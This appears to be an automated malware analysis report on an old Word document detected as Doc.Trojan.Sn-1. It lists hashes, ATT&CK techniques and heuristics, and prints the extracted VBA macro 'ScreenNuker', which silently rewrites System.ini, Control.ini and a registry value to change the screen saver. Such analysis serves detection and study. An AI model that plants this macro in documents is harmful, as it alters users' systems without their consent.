Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e308148dab7813d4…

MALICIOUS

Office (OLE)

33.0 KB Created: 2000-04-02 17:11:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 51e9c8f5261a43019ba4cf2e6db3e50a SHA-1: 369c9f3d3abc32bc1273c90be378ee5239d6d5c2 SHA-256: e308148dab7813d48eab174c729e87fb50fa3699f0182b411da36d19a5ff67da
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The VBA macro within this document attempts to modify system configuration files and registry keys. Specifically, it writes to 'C:\WIN95\System.ini' and 'C:\WIN95\Control.ini' to deploy a malicious screen saver named 'Marquee.scr'. It also sets the 'ScreenSaveActive' registry value to enable screen savers, likely to ensure the malicious screen saver is used. The ClamAV detection 'Doc.Trojan.Sn-1' further supports the malicious nature of this file.

Heuristics 2

  • ClamAV: Doc.Trojan.Sn-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Sn-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1133 bytes
SHA-256: f1100ddb27bbb33e46c06bc8db47433b2b9fbe4b62c66af1c050841b7ac232d5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ScreenNuker"
Sub ScreenNuker()
WinPath = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "SystemRoot")
WinSysPath = WinPath & "\System"
System.PrivateProfileString(WinPath & "\System.ini", "boot", "SCRNSAVE.EXE") = WinSysPath & "\Marquee.scr"
System.PrivateProfileString(WinPath & "\Control.ini", "Screen Saver.Marquee", "Text") = Application.ActivePrinter
System.PrivateProfileString(WinPath & "\Control.ini", "Screen Saver.Marquee", "Font") = "Times New Roman"
System.PrivateProfileString(WinPath & "\Control.ini", "Screen Saver.Marquee", "Size") = 190
System.PrivateProfileString(WinPath & "\Control.ini", "Screen Saver.Marquee", "Speed") = 200
System.PrivateProfileString("", "HKEY_USERS\.Default\Control Panel\desktop", "ScreenSaveActive") = 1
MsgBox "Have Fun"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.